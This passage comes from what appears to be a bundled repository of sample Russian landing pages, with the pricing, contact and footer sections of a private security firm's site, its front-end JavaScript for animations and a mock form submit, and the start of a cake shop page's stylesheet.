сопровождение</div>\n                    <p class=\"price-desc\">1 экипаж, 2 сотрудника, 8 часов. Бронированный автомобиль, форма, рация.</p>\n                    <div class=\"price-amount\">от 25 000 <span>₽ / смена</span></div>\n                    <ul class=\"price-features\">\n                        <li>2 сотрудника СБР</li>\n                        <li>Бронированный автомобиль BR4</li>\n                        <li>Форма и снаряжение</li>\n                        <li>Закрытый канал связи</li>\n                    </ul>\n                </div>\n\n                <div class=\"price-card featured reveal delay-2\">\n                    <div class=\"price-badge\">Популярный</div>\n                    <div class=\"price-name\">Личный телохранитель VIP</div>\n                    <p class=\"price-desc\">Сопровождение 12 часов, двухуровневая система охраны Level A+B.</p>\n                    <div class=\"price-amount\">от 40 000 <span>₽ / 12 ч</span></div>\n                    <ul class=\"price-features\">\n                        <li>Телохранитель Level A (штатский)</li>\n                        <li>Группа прикрытия Level B</li>\n                        <li>Контр-аварийное вождение</li>\n                        <li>Оружие скрытого ношения</li>\n                        <li>Ежедневный рапорт в Signal</li>\n                    </ul>\n                </div>\n\n                <div class=\"price-card reveal delay-3\">\n                    <div class=\"price-badge\">Элитный</div>\n                    <div class=\"price-name\">Официант-телохранитель</div>\n                    <p class=\"price-desc\">Работа под прикрытием; курс швейцарского этикета включён в стоимость.</p>\n                    <div class=\"price-amount\">от 70 000 <span>₽ / сутки</span></div>\n                    <ul class=\"price-features\">\n                        <li>Легенда и костюм включены</li>\n                        <li>Знание этикета и винных карт</li>\n                        <li>Krav Maga · Джиу-джитсу</li>\n                        <li>Кевларовая вставка под фраком</li>\n                        <li>Скрытая рация</li>\n                    </ul>\n                </div>\n\n                <div class=\"price-card reveal delay-4\">\n                    <div class=\"price-badge\">Индивидуально</div>\n                    <div class=\"price-name\">Пулестойкое остекление</div>\n                    <p class=\"price-desc\">Монтаж бронированного остекления класса BR3–BR7. Офисы, резиденции, автомобили.</p>\n                    <div class=\"price-amount\">Расчёт <span>после аудита</span></div>\n                    <ul class=\"price-features\">\n                        <li>Выезд аналитика на объект</li>\n                        <li>Оценка рисков и класса защиты</li>\n                        <li>Монтаж под ключ</li>\n                        <li>Гарантийное обслуживание</li>\n                    </ul>\n                </div>\n\n                <div class=\"price-card reveal delay-1\">\n                    <div class=\"price-badge\">Корпоративный</div>\n                    <div class=\"price-name\">Охрана объекта 24/7</div>\n                    <p class=\"price-desc\">Аутсорсинг охраны офиса, склада или производства. Посты, обходы, видеоконтроль.</p>\n                    <div class=\"price-amount\">от 180 000 <span>₽ / месяц</span></div>\n                    <ul class=\"price-features\">\n                        <li>Минимум 2 поста круглосуточно</li>\n                        <li>Система видеонаблюдения</li>\n                        <li>Тревожная кнопка + ГБР</li>\n                        <li>Ежемесячный отчёт о безопасности</li>\n                        <li>Подмена охраны за 2 часа</li>\n                    </ul>\n                </div>\n\n                <div class=\"price-card reveal delay-2\">\n                    <div class=\"price-badge\">Разовый</div>\n                    <div class=\"price-name\">Аудит безопасности</div>\n                    <p class=\"price-desc\">Выездная проверка объекта: уязвимости периметра, оценка персонала, OSINT по угрозам.</p>\n                    <div class=\"price-amount\">от 35 000 <span>₽ / объект</span></div>\n                    <ul class=\"price-features\">\n                        <li>Выезд аналитика + технолога</li>\n                        <li>Пентест физического периметра</li>\n                        <li>OSINT-проверка окружения</li>\n                        <li>Отчёт под грифом «Конфиденциально»</li>\n                    </ul>\n                </div>\n\n            </div>\n        </div>\n    </section>\n\n    <div class=\"divider\"></div>\n\n    <!-- CONTACT -->\n    <section class=\"contact\" id=\"contact\">\n        <div class=\"section-inner\">\n            <div class=\"contact-grid\">\n                <div>\n                    <div class=\"section-label reveal\">Контакты</div>\n                    <h2 class=\"section-title reveal delay-1\">Связаться<br /><span>с нами</span></h2>\n                    <p class=\"section-desc reveal delay-2\">Оставьте заявку — наш аналитик выедет на объект и разработает индивидуальный план безопасности в течение 24 часов.</p>\n                    <div class=\"contact-info reveal delay-3\">\n                        <div class=\"contact-row\">\n                            <div class=\"ci\">\n                                <svg viewBox=\"0 0 24 24\">\n                                    <path d=\"M6.62 10.79c1.44 2.83 3.76 5.14 6.59 6.59l2.2-2.2c.27-.27.67-.36 1.02-.24 1.12.37 2.33.57 3.57.57.55 0 1 .45 1 1V20c0 .55-.45 1-1 1-9.39 0-17-7.61-17-17 0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1 0 1.25.2 2.45.57 3.57.11.35.03.74-.25 1.02l-2.2 2.2z\" />\n                                </svg>\n                            </div>\n                            <div class=\"ct\">\n                                <h5>Телефон (круглосуточно)</h5>\n                                <p>+7 (XXX) XXX-XX-XX</p>\n                            </div>\n                        </div>\n                        <div class=\"contact-row\">\n                            <div class=\"ci\">\n                                <svg viewBox=\"0 0 24 24\">\n                                    <path d=\"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 4l-8 5-8-5V6l8 5 8-5v2z\" />\n                                </svg>\n                            </div>\n                            <div class=\"ct\">\n                                <h5>Защищённая почта</h5>\n                                <p>tandemsites@example.com</p>\n                            </div>\n                        </div>\n                        <div class=\"contact-row\">\n                            <div class=\"ci\">\n                                <svg viewBox=\"0 0 24 24\">\n                                    <path d=\"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7zm0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5z\" />\n                                </svg>\n                            </div>\n                            <div class=\"ct\">\n                                <h5>Офис</h5>\n                                <p>г. Тандем, ул. Лендинговая, д. 1</p>\n                            </div>\n                        </div>\n                        <div class=\"contact-row\">\n                            <div class=\"ci\">\n                                <svg viewBox=\"0 0 24 24\">\n                                    <path d=\"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zm4.24 16L12 15.45 7.77 18l1.12-4.81-3.73-3.23 4.92-.42L12 5l1.92 4.53 4.92.42-3.73 3.23L16.23 18z\" />\n                                </svg>\n                            </div>\n                            <div class=\"ct\">\n                                <h5>Режим работы</h5>\n                                <p>24/7 · 365 дней в году</p>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n\n                <div class=\"contact-form reveal-r\">\n                    <div class=\"form-title\">Оставить заявку</div>\n                    <form id=\"contactForm\" onsubmit=\"handleSubmit(event)\">\n                        <div class=\"form-row\">\n                            <div class=\"form-group\">\n                                <label>Имя *</label>\n                                <input type=\"text\" placeholder=\"Александр\" required />\n                            </div>\n                            <div class=\"form-group\">\n                                <label>Телефон *</label>\n                                <input type=\"tel\" placeholder=\"+7 (___) ___-__-__\" required />\n                            </div>\n                        </div>\n                        <div class=\"form-group\">\n                            <label>Email</label>\n                            <input type=\"email\" placeholder=\"example@mail.ru\" />\n                        </div>\n                        <div class=\"form-group\">\n                            <label>Тип услуги</label>\n                            <select>\n                                <option value=\"\">— Выберите услугу —</option>\n                                <option>Личная охрана (Executive Protection)</option>\n                                <option>Вооружённое сопровождение грузов</option>\n                                <option>Охрана мероприятия</option>\n                                <option>Работа под прикрытием (Covert Security)</option>\n                                <option>Техническая безопасность / «Чистый воздух»</option>\n                                <option>Бизнес-разведка</option>\n                                <option>Пулестойкое остекление</option>\n                                <option>Другое</option>\n                            </select>\n                        </div>\n                        <div class=\"form-group\">\n                            <label>Описание задачи</label>\n                            <textarea placeholder=\"Опишите вашу ситуацию и задачу...\"></textarea>\n                        </div>\n                        <button type=\"submit\" class=\"form-submit\">Отправить заявку — конфиденциально</button>\n                    </form>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- FOOTER -->\n    <footer>\n        <div class=\"footer-grid\">\n            <div class=\"footer-brand\">\n                <a href=\"#\" class=\"nav-logo\">\n                    <svg class=\"logo-icon\" viewBox=\"0 0 40 40\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M20 2L24.5 13.5H37L27 21.5L31 33L20 25.5L9 33L13 21.5L3 13.5H15.5L20 2Z\" />\n                    </svg>\n                    <span>ЧОО <em>«Астра»</em></span>\n                </a>\n                <p>Закрытое акционерное общество. Лицензированная охранная и детективная деятельность. Ваша безопасность — наша миссия.</p>\n            </div>\n            <div class=\"footer-col\">\n                <h5>Услуги</h5>\n                <ul>\n                    <li><a href=\"#services\">Личная охрана</a></li>\n                    <li><a href=\"#services\">Сопровождение грузов</a></li>\n                    <li><a href=\"#services\">Охрана мероприятий</a></li>\n                    <li><a href=\"#undercover\">Работа под прикрытием</a></li>\n                    <li><a href=\"#services\">Техбезопасность</a></li>\n                    <li><a href=\"#services\">Бизнес-разведка</a></li>\n                </ul>\n            </div>\n            <div class=\"footer-col\">\n                <h5>Компания</h5>\n                <ul>\n                    <li><a href=\"#advantages\">О нас</a></li>\n                    <li><a href=\"#creds\">Оснащение</a></li>\n                    <li><a href=\"#pricing\">Тарифы</a></li>\n                    <li><a href=\"#contact\">Контакты</a></li>\n                </ul>\n            </div>\n            <div class=\"footer-col\">\n                <h5>Документы</h5>\n                <ul>\n                    <li><a href=\"#\">Лицензии</a></li>\n                    <li><a href=\"#\">Политика конфиденциальности</a></li>\n                    <li><a href=\"#\">Оферта</a></li>\n                    <li><a href=\"#\">Реквизиты</a></li>\n                </ul>\n            </div>\n        </div>\n        <div class=\"footer-bottom\">\n            <span>© 2026 ЗАО ЧОО «Астра». Все права защищены.</span>\n            <span class=\"license\">Лицензия МВД № ЧО-000000 · Детективная деятельность № Д-000000</span>\n        </div>\n    </footer>\n    <script src=\"js/main.js\" defer></script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-astra/js/main.js",
    "content": "﻿\n// в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ CURSOR в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ\n// ──────────────── CURSOR ────────────────\nif (window.matchMedia('(pointer: fine)').matches) {\n    const cursor = document.getElementById('cursor');\n\n    document.addEventListener('mousemove', e => {\n        cursor.style.left = e.clientX + 'px';\n        cursor.style.top = e.clientY + 'px';\n        document.body.classList.remove('cursor-hidden');\n    });\n\n    // Скрываем при уходе мыши с окна\n    document.addEventListener('mouseleave', () => document.body.classList.add('cursor-hidden'));\n    document.addEventListener('mouseenter', () => document.body.classList.remove('cursor-hidden'));\n\n    // Hover-состояние на всех интерактивных элементах\n    const hoverTargets = 'a, button, input, select, textarea, label, [role=\"button\"], .price-card, .adv-row, .serv-card, .uc-card';\n    document.querySelectorAll(hoverTargets).forEach(el => {\n        el.addEventListener('mouseenter', () => document.body.classList.add('cursor-hover'));\n        el.addEventListener('mouseleave', () => document.body.classList.remove('cursor-hover'));\n    });\n\n    document.addEventListener('mousedown', () => document.body.classList.add('cursor-click'));\n    document.addEventListener('mouseup', () => document.body.classList.remove('cursor-click'));\n}\n\n// в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ NAVBAR SCROLL в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ\nconst navbar = document.getElementById('navbar');\nwindow.addEventListener('scroll', () => {\n    navbar.classList.toggle('scrolled', window.scrollY > 50);\n});\n\n// в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ BURGER в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ\nconst burger = document.getElementById('burger');\nconst navLinks = document.getElementById('navLinks');\nburger.addEventListener('click', () => {\n    navLinks.classList.toggle('open');\n    burger.classList.toggle('open');\n});\nnavLinks.querySelectorAll('a').forEach(a => a.addEventListener('click', () => {\n    navLinks.classList.remove('open');\n    burger.classList.remove('open');\n}));\n\n// в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ COUNTER ANIMATION в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ\nfunction animateCounter(el, target, duration) {\n    let start = 0;\n    const step = (ts) => {\n        if (!start) start = ts;\n        const progress = Math.min((ts - start) / duration, 1);\n        const ease = 1 - Math.pow(1 - progress, 3);\n        el.textContent = Math.round(ease * target);\n        if (progress < 1) requestAnimationFrame(step);\n    };\n    requestAnimationFrame(step);\n}\n\nconst counters = document.querySelectorAll('.num[data-count]');\nlet countersStarted = false;\n\nfunction maybeStartCounters() {\n    if (countersStarted) return;\n    const bar = document.querySelector('.hero-stats-bar');\n    if (!bar) return;\n    const heroRect = bar.getBoundingClientRect();\n    if (heroRect.top < window.innerHeight) {\n        countersStarted = true;\n        counters.forEach(el => animateCounter(el, +el.dataset.count, 1600));\n    }\n}\nwindow.addEventListener('scroll', maybeStartCounters);\nmaybeStartCounters();\n\n// в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ SCROLL REVEAL в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ\nconst reveals = document.querySelectorAll('.reveal, .reveal-l, .reveal-r');\nconst io = new IntersectionObserver((entries) => {\n    entries.forEach(e => { if (e.isIntersecting) { e.target.classList.add('visible'); io.unobserve(e.target); } });\n}, { threshold: 0.12 });\nreveals.forEach(el => io.observe(el));\n\n// в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ FORM SUBMIT в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ\nfunction handleSubmit(e) {\n    e.preventDefault();\n    const btn = e.target.querySelector('.form-submit');\n    btn.textContent = 'вњ“ Р—Р°СЏРІРєР° РѕС‚РїСЂР°РІР»РµРЅР° вЂ” РјС‹ СЃРІСЏР¶РµРјСЃСЏ РІ С‚РµС‡РµРЅРёРµ 30 РјРёРЅСѓС‚';\n    btn.style.background = '#1a6b1a';\n    btn.disabled = true;\n    setTimeout(() => {\n        btn.textContent = 'РћС‚РїСЂР°РІРёС‚СЊ Р·Р°СЏРІРєСѓ вЂ” РєРѕРЅС„РёРґРµРЅС†РёР°Р»СЊРЅРѕ';\n        btn.style.background = '';\n        btn.disabled = false;\n        e.target.reset();\n    }, 5000);\n}\n\n// в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ ACTIVE LINK HIGHLIGHT в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ\nconst sections = document.querySelectorAll('section[id]');\nconst allLinks = document.querySelectorAll('.nav-links a:not(.nav-cta)');\n\nwindow.addEventListener('scroll', () => {\n    let current = '';\n    sections.forEach(s => {\n        if (window.scrollY >= s.offsetTop - 120) current = s.id;\n    });\n    allLinks.forEach(a => {\n        a.style.color = a.getAttribute('href') === '#' + current ? 'var(--red)' : '';\n    });\n});\n\n// ──────────────── PARALLAX HERO GRID ────────────────\nwindow.addEventListener('mousemove', e => {\n    const grid = document.querySelector('.hero-grid');\n    if (!grid) return;\n    const x = (e.clientX / window.innerWidth - 0.5) * 12;\n    const y = (e.clientY / window.innerHeight - 0.5) * 12;\n    grid.style.transform = `translate(${x}px, ${y}px)`;\n});\n\n// ──────────────── UNDERCOVER CARDS FLIP SHUFFLE ────────────────\n(function initShuffle() {\n    const container = document.getElementById('ucShuffle');\n    if (!container) return;\n\n    let shuffleInterval = null;\n\n    function flipShuffle() {\n        const cards = Array.from(container.children);\n        if (cards.length < 2) return;\n\n        // 1. FIRST — сохраняем текущие rect каждой карточки\n        const rectMap = new Map(cards.map(c => [c, c.getBoundingClientRect()]));\n\n        // 2. Fisher-Yates shuffle → переставляем в DOM\n        const order = [...cards];\n        for (let i = order.length - 1; i > 0; i--) {\n            const j = Math.floor(Math.random() * (i + 1));\n            [order[i], order[j]] = [order[j], order[i]];\n        }\n        order.forEach(c => container.appendChild(c)); // reorder DOM\n\n        // 3. LAST — новые rect после reorder\n        // 4. Инвертируем сдвиг: ставим карточки визуально туда, где были\n        order.forEach(c => {\n            const oldRect = rectMap.get(c);\n            const newRect = c.getBoundingClientRect();\n            const dx = oldRect.left - newRect.left;\n            const dy = oldRect.top - newRect.top;\n            c.style.transition = 'none';\n            c.style.transform = `translate(${dx}px, ${dy}px)`;\n        });\n\n        // 5. Force reflow — браузер перерисует с примёнёнными transform\n        container.offsetHeight; // eslint-disable-line no-unused-expressions\n\n        // 6. Убираем transform → CSS transition плавно въезжает на 0\n        requestAnimationFrame(() => {\n            order.forEach(c => {\n                c.style.transition = '';\n                c.style.transform = '';\n            });\n        });\n    }\n\n    // Запускаем только когда секция видима\n    const sectionObs = new IntersectionObserver(entries => {\n        entries.forEach(e => {\n            if (e.isIntersecting) {\n                if (!shuffleInterval) {\n                    setTimeout(flipShuffle, 800); // первый запуск с задержкой\n                    shuffleInterval = setInterval(flipShuffle, 2800);\n                }\n            } else {\n                clearInterval(shuffleInterval);\n                shuffleInterval = null;\n            }\n        });\n    }, { threshold: 0.3 });\n\n    sectionObs.observe(container.closest('section') || container);\n})();\n"
  },
  {
    "path": "legacy_tandem/viewer/works/example-cakes/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <title>Сладкий момент — Кондитер Виктория</title>\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link href=\"https://fonts.googleapis.com/css2?family=Cormorant+Garamond:ital,wght@0,300;0,400;0,500;0,600;1,300;1,400;1,600&family=Nunito:wght@300;400;500;600;700&family=Great+Vibes&display=swap\" rel=\"stylesheet\" />\n    <style>\n        /* ── RESET & ROOT ── */\n        *,\n        *::before,\n        *::after {\n            box-sizing: border-box;\n            margin: 0;\n            padding: 0;\n        }\n\n        :root {\n            --rose: #d4608a;\n            --rose-light: #f4a8c6;\n            --rose-pale: #fce8f0;\n            --rose-ultra: #fff5f9;\n            --cream: #fffaf4;\n            --caramel: #e8a870;\n            --berry: #8b3260;\n            --text: #2d1b2e;\n            --text-muted: #8a7090;\n            --white: #ffffff;\n            --r16: 16px;\n            --r24: 24px;\n            --r32: 32px;\n            --ease: cubic-bezier(0.23, 1, 0.32, 1);\n            --shadow-sm: 0 2px 12px rgba(180, 60, 120, 0.08);\n            --shadow-md: 0 8px 40px rgba(180, 60, 120, 0.14);\n            --shadow-lg: 0 20px 80px rgba(180, 60, 120, 0.18);\n        }\n\n        html {\n            scroll-behavior: smooth;\n        }\n\n        body {\n            background: var(--white);\n            color: var(--text);\n            font-family: 'Nunito', sans-serif;\n            font-weight: 400;\n            overflow-x: hidden;\n            -webkit-font-smoothing: antialiased;\n        }\n\n        img {\n            display: block;\n            max-width: 100%;\n        }\n\n        a {\n            color: inherit;\n            text-decoration: none;\n        }\n\n        ::selection {\n            background: var(--rose-light);\n            color: var(--berry);\n        }\n\n        ::-webkit-scrollbar {\n            width: 4px;\n        }\n\n        ::-webkit-scrollbar-track {\n            background: var(--white);\n        }\n\n        ::-webkit-scrollbar-thumb {\n            background: var(--rose-light);\n            border-radius: 99px;\n        }\n\n        /* ── TINY UTILITIES ── */\n        .container {\n            max-width: 1200px;\n            margin: 0 auto;\n            padding: 0 5vw;\n        }\n\n        .section-label {\n            display: inline-block;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.7rem;\n            font-weight: 700;\n            letter-spacing: 0.22em;\n            text-transform: uppercase;\n            color: var(--rose);\n            margin-bottom: 1rem;\n        }\n\n        .section-title {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: clamp(2rem, 5vw, 3.4rem);\n            font-weight: 500;\n            line-height: 1.18;\n            color: var(--text);\n        }\n\n        .section-title em {\n            font-style: italic;\n            font-weight: 300;\n            color: var(--rose);\n        }\n\n        .divider-rose {\n            width: 48px;\n            height: 2px;\n            background: linear-gradient(90deg, var(--rose), var(--rose-light));\n            border-radius: 99px;\n            margin: 1.2rem 0 2rem;\n        }\n\n        /* fade-in on scroll */\n        .reveal {\n            opacity: 0;\n            transform: translateY(32px);\n            transition: opacity 0.7s var(--ease), transform 0.7s var(--ease);\n        }\n\n        .reveal.visible {\n            opacity: 1;\n            transform: translateY(0);\n        }\n\n        .reveal-delay-1 {\n            transition-delay: 0.1s;\n        }\n\n        .reveal-delay-2 {\n            transition-delay: 0.2s;\n        }\n\n        .reveal-delay-3 {\n            transition-delay: 0.3s;\n        }\n\n        .reveal-delay-4 {\n            transition-delay: 0.4s;\n        }\n\n        /* ── NAV ── */\n        #nav {\n            position: fixed;\n            top: 0;\n            left: 0;\n            right: 0;\n            z-index: 700;\n            height: 68px;\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            padding: 0 5vw;\n            transition: background 0.4s, box-shadow 0.4s;\n        }\n\n        #nav.scrolled {\n            background: rgba(255, 255, 255, 0.94);\n            backdrop-filter: blur(20px);\n            -webkit-backdrop-filter: blur(20px);\n            box-shadow: 0 1px 0 rgba(200, 80, 130, 0.1), var(--shadow-sm);\n        }\n\n        .nav-logo {\n            font-family: 'Great Vibes', cursive;\n            font-size: 1.8rem;\n            color: var(--rose);\n            letter-spacing: 0.02em;\n            position: relative;\n            z-index: 701;\n        }\n\n        .nav-links {\n            display: flex;\n            gap: 2.4rem;\n            list-style: none;\n        }\n\n        .nav-links a {\n            font-size: 0.72rem;\n            font-weight: 700;\n            letter-spacing: 0.18em;\n            text-transform: uppercase;\n            color: var(--text-muted);\n            transition: color 0.3s;\n            position: relative;\n        }\n\n        .nav-links a::after {\n            content: '';\n            position: absolute;\n            bottom: -4px;\n            left: 0;\n            width: 0;\n            height: 1.5px;\n            background: var(--rose);\n            border-radius: 99px;\n            transition: width 0.35s var(--ease);\n        }\n\n        .nav-links a:hover {\n            color: var(--rose);\n        }\n\n        .nav-links a:hover::after {\n            width: 100%;\n        }\n\n        .nav-cta {\n            font-size: 0.75rem;\n            font-weight: 700;\n            letter-spacing: 0.08em;\n            padding: 10px 22px;\n            background: var(--rose);\n            color: #fff;\n            border-radius: var(--r32);\n            transition: background 0.3s, box-shadow 0.3s, transform 0.2s;\n        }\n\n        .nav-cta:hover {\n            background: var(--berry);\n            box-shadow: 0 4px 20px rgba(212, 96, 138, 0.45);\n            transform: translateY(-1px);\n        }\n\n        .nav-burger {\n            display: none;\n            flex-direction: column;\n            gap: 5px;\n            background: none;\n            border: none;\n            cursor: pointer;\n            padding: 6px;\n            position: relative;\n            z-index: 701;\n        }\n\n        .nav-burger span {\n            display: block;\n            width: 24px;\n            height: 2px;\n            background: var(--text);\n            border-radius: 99px;\n            transition: transform 0.3s, opacity 0.3s;\n        }\n\n        .nav-burger.open span:nth-child(1) {\n            transform: rotate(45deg) translate(5px, 5px);\n        }\n\n        .nav-burger.open span:nth-child(2) {\n            opacity: 0;\n        }\n\n        .nav-burger.open span:nth-child(3) {\n            transform: rotate(-45deg) translate(5px, -5px);\n        }\n\n        #nav-mobile {\n            display: none;\n            position: fixed;\n            inset: 0;\n            z-index: 699;\n            background: rgba(255, 255, 255, 0.97);\n            backdrop-filter: blur(20px);\n            flex-direction: column;\n            align-items: center;\n            justify-content: center;\n            gap: 2.5rem;\n        }\n\n        #nav-mobile.open {\n            display: flex;\n        }\n\n        #nav-mobile a {\n            font-size: 1.5rem;\n            font-family: 'Cormorant Garamond', serif;\n            font-weight: 500;\n            color: var(--text);\n            letter-spacing: 0.04em;\n        }\n\n        #nav-mobile a:hover {\n            color: var(--rose);\n        }\n\n        /* ── HERO ── */\n        #hero {\n            min-height: 100vh;\n            background: linear-gradient(145deg, var(--rose-ultra) 0%, var(--cream) 55%, #fff5ee 100%);\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            align-items: center;\n            gap: 4rem;\n            padding: 9rem 5vw 5rem;\n            position: relative;\n            overflow: hidden;\n        }\n\n        /* floating sugar blobs */\n        #hero::before {\n            content: '';\n            position: absolute;\n            width: 600px;\n            height: 600px;\n            background: radial-gradient(circle, rgba(244, 168, 198, 0.25) 0%, transparent 65%);\n            border-radius: 50%;\n            top: -100px;\n            right: -150px;\n            animation: blobPulse 7s ease-in-out infinite alternate;\n            pointer-events: none;\n        }\n\n        #hero::after {\n            content: '';\n            position: absolute;\n            width: 350px;\n            height: 350px;\n            background: radial-gradient(circle, rgba(232, 168, 112, 0.18) 0%, transparent 65%);\n            border-radius: 50%;\n            bottom: 40px;\n            left: -80px;\n            animation: blobPulse 9s ease-in-out infinite alternate-reverse;\n            pointer-events: none;\n        }\n\n        @keyframes blobPulse {\n            from {\n                transform: scale(1) translate(0, 0);\n            }\n\n            to {\n                transform: scale(1.12) translate(20px, 15px);\n            }\n        }\n\n        .hero-badge {\n            display: inline-flex;\n            align-items: center;\n            gap: 8px;\n            font-size: 0.7rem;\n            font-weight: 700;\n            letter-spacing: 0.18em;\n            text-transform: uppercase;\n            color: var(--rose);\n            background: rgba(212, 96, 138, 0.1);\n            padding: 6px 14px;\n            border-radius: var(--r32);\n            margin-bottom: 1.6rem;\n        }\n\n        .hero-badge svg {\n            width: 14px;\n            height: 14px;\n            flex-shrink: 0;\n        }\n\n        .hero-heading {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: clamp(2.8rem, 6vw, 5rem);\n            font-weight: 400;\n            line-height: 1.1;\n            color: var(--text);\n            margin-bottom: 1.4rem;\n        }\n\n        .hero-heading span {\n            display: block;\n            font-style: italic;\n            font-weight: 300;\n            color: var(--rose);\n        }\n\n        .hero-heading .script {\n            font-family: 'Great Vibes', cursive;\n            font-size: 1.1em;\n            font-style: normal;\n            color: var(--caramel);\n        }\n\n        .hero-sub {\n            font-size: 1.05rem;\n            line-height: 1.75;\n            color: var(--text-muted);\n            max-width: 420px;\n            margin-bottom: 2.6rem;\n        }\n\n        .hero-actions {\n            display: flex;\n            align-items: center;\n            flex-wrap: wrap;\n            gap: 1rem;\n        }\n\n        .btn-primary {\n            display: inline-flex;\n            align-items: center;\n            gap: 8px;\n            font-size: 0.85rem;\n            font-weight: 700;\n            letter-spacing: 0.06em;\n            padding: 14px 32px;\n            background: linear-gradient(135deg, var(--rose) 0%, var(--berry) 100%);\n            color: #fff;\n            border-radius: var(--r32);\n            border: none;\n            cursor: pointer;\n            transition: transform 0.25s var(--ease), box-shadow 0.25s;\n            box-shadow: 0 6px 28px rgba(212, 96, 138, 0.38);\n        }\n\n        .btn-primary:hover {\n            transform: translateY(-2px);\n            box-shadow: 0 10px 36px rgba(212, 96, 138, 0.52);\n        }\n\n        .btn-primary svg {\n            width: 16px;\n            height: 16px;\n        }\n\n        .btn-ghost {\n            display: inline-flex;\n            align-items: center;\n            gap: 8px;\n            font-size: 0.85rem;\n            font-weight: 700;\n            letter-spacing: 0.06em;\n            padding: 14px 28px;\n            background: transparent;\n            color: var(--text);\n            border-radius: var(--r32);\n            border: 1.5px solid rgba(45, 27, 46, 0.15);\n            cursor: pointer;\n            transition: border-color 0.25s, background 0.25s, color 0.25s;\n        }\n\n        .btn-ghost:hover {\n            border-color: var(--rose);\n            color: var(--rose);\n            background: var(--rose-pale);\n        }\n\n        .btn-ghost svg {\n            width: 16px;\n            height: 16px;\n            flex-shrink: 0;\n        }\n\n        .hero-stats {\n            display: flex;\n            gap: 2.4rem;\n            margin-top: 2.8rem;\n            padding-top: 2.4rem;\n            border-top: 1px solid rgba(212, 96, 138, 0.12);\n        }\n\n        .hero-stat-num {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 2.2rem;\n            font-weight: 500;\n            color: var(--rose);\n            line-height: 1;\n        }\n\n        .hero-stat-label {\n            font-size: 0.7rem;\n            font-weight: 700;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            color: var(--text-muted);\n            margin-top: 4px;\n        }\n\n        /* hero right — image mosaic */\n        .hero-visual {\n            position: relative;\n            z-index: 1;\n        }\n\n        .hero-img-main {\n            width: 100%;\n            max-width: 440px;\n            height: 480px;\n            object-fit: cover;\n            border-radius: 40% 60% 60% 40% / 40% 40% 60% 60%;\n            box-shadow: var(--shadow-lg);\n            margin-left: auto;\n            animation: morphBlob 10s ease-in-out infinite alternate;\n        }\n\n        @keyframes morphBlob {\n            0% {\n                border-radius: 40% 60% 60% 40% / 40% 40% 60% 60%;\n            }\n\n            33% {\n                border-radius: 60% 40% 50% 50% / 50% 60% 40% 60%;\n            }\n\n            66% {\n                border-radius: 50% 50% 40% 60% / 60% 40% 60% 40%;\n            }\n\n            100% {\n                border-radius: 40% 60% 60% 40% / 40% 40% 60% 60%;\n            }\n        }\n\n        .hero-img-float {\n            position: absolute;\n            border-radius: var(--r24);\n            object-fit: cover;\n            box-shadow: var(--shadow-md);\n            border: 3px solid 